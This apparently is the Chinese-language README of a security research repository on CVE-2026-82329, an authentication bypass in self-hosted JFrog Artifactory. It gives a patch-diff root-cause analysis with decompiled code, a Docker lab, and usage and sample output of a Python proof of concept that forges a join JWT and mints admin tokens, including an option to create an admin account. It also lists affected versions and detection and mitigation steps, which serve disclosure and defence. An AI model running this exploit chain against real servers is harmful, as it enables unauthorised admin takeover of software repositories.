可复现的 Docker 实验室与 Python PoC,针对 CVE-2026-82329——JFrog Artifactory 中未经验证的认证绕过漏洞,可导致管理员接管,并附带补丁差异分析与检测指南。
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · 披露于 2026-08-28 · 已在野外被利用。
未认证的、可访问网络的攻击者可针对默认自托管的 JFrog Artifactory 铸造一个平台管理员访问令牌。此目录包含一个可复现的 Docker 实验环境和一个 URL 参数化的验证器 PoC。
已在 artifactory-oss 7.161.19(存在漏洞,JFrog Access 7.191.11)与 7.161.20(已修补,JFrog Access 7.191.14)上完成复现和 A/B 验证。
根本原因直接源自供应商补丁本身(对两个容器镜像之间闭源 JFrog Access 服务的字节码差异分析),随后进行了实机验证——并非取自任何第三方分析文章。
getSigningKey("") = pkcs7(<empty>, 32) = 32 字节的 0x20 —— 一个完全已知的密钥。因此任何人都可以签署一个有效的加入 JWT(alg=HS256,kid = SHA256(""),新鲜的 ,任意 ,)。iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join(RegistryNoAuthResource — 无需认证)→ HTTP 201,返回一个作用域为 admin 的 SERVICE 令牌(受众 = Access)。POST /access/api/v1/tokens 使用该令牌,scope=applied-permissions/admin&audience=* → 一个完整的管理员平台访问令牌(这就是野外报告中提到的“铸造管理员令牌”行为)。$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] 步骤 1 /registry/join -> HTTP 201 SERVICE 令牌已铸造 (scp=admin)
[+] 步骤 2 /access/api/v1/tokens -> HTTP 200 ADMIN 令牌 (scp=applied-permissions/admin, aud=*)
[+] 步骤 3 管理员能力证明:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 字节, 仅管理员; 未认证=401)
GET /access/api/v1/tokens (列出所有令牌) -> HTTP 200 (仅管理员)
[=] 存在漏洞 - 未认证攻击者已在此实例上获得 ADMIN 权限 (CVE-2026-82329)。
JFrog Access 7.191.11 → 7.191.14 恰好更改了 12 个类。与安全相关的类如下:
JoinKeyAccess.tryResolveJoinKeys()// 存在漏洞 (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" 被允许
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // 空白密钥被添加到受信任集合
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// 已修补 (7.191.14) -> 空白条目被过滤掉
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
当未配置额外的 join key(默认情况)时,配置值为 "";"".split(",") 产生 [""],因此一个空白的 JoinKeyHashPair(kid = SHA256("") = e3b0c442…b855)进入受信任的“附加 join key”映射。JoinKeyHashPair 也被加固,在构造函数中拒绝 null/空白。
已在实机默认实例上确认 — 服务器启动日志:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
该 kid 恰好是 SHA256("")。
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// 对空密钥进行 pkcs7 填充: padLength = 32 -> 32 字节, 每个 == (byte)32 == 0x20
因此空白密钥的加入 JWT 使用 HS256 对 32 字节的 0x20 进行签名 — 攻击者已知。
RegistryNoAuthResource(@Path("/v1/registry"),无 @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // body = 原始 JWT
JwtToken token = this.joinService.join(jwtStr, ...); // 验证: 新鲜的 iat (<30s) + join-key 签名
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
一个永不过期、admin 作用域、RSA 签名的访问令牌。该 scope("admin") 服务令牌随后被允许通过 POST /access/api/v1/tokens 铸造一个完整的 applied-permissions/admin 用户令牌。
ProjectResource两个端点从 @Authorized(AuthorizationType.SERVICE) 改为 @Authorized(AuthorizationType.ADMIN)(GET/DELETE {projectKey}/resources),确认了利用原语是一个伪造的 SERVICE 身份,且 SERVICE 授权的攻击面暴露过度。
仅限自托管(云版本已修补)。以下各分支中 ≤ 最后发布版本均存在漏洞;请升级到对应的修复版本:
| 分支 | 存在漏洞 ≤ | 已修复 |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
修复随 JFrog Access 7.191.14 一起发布。
参见 lab/README.md。简要说明:
cd lab
ART_VER=7.161.19 docker compose up -d # 存在漏洞(默认);等待约 3-4 分钟
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> 存在漏洞
docker compose down
ART_VER=7.161.20 docker compose up -d # 已修补的对照组
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> 不存在漏洞 (join HTTP 400)
Artifactory 7.161.x 需要 PostgreSQL(其 Access 服务拒绝内置的 Derby),因此实验环境包含一个 postgres 辅助容器。
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent 状态变更
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # 打印一个管理员令牌
将其指向任何前置 JFrog Router 的服务(/access/… 可达)。它会报告 存在漏洞(已获得管理员权限)或 不存在漏洞(join 被拒绝)。仅对您被授权测试的系统运行。
POST /access/api/v1/registry/join,尤其是紧随其后的 POST /access/api/v1/tokens。Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … 这一行意味着空白 join key 被信任(存在于未修补的默认实例上)。scope=applied-permissions/admin、audience=*,或服务主体管理员令牌(sub=<svc>、scp=admin、aud=<access-id>)。kid 声明等于 SHA256("")(e3b0c442…b855)的加入 JWT。升级到您所在分支的修复版本(见上表)。此外:将 Artifactory 置于反向代理之后,不向不受信任的网络暴露 /access/api/v1/registry/**,并在修补后轮换 join key 并撤销意外的管理员令牌。
此目录中的工件: poc/(验证器)、lab/(Docker 实验环境)、analysis/(补丁差异 + 反编译证据)、EVIDENCE.md(捕获的运行输出)。仅用于授权的安全研究。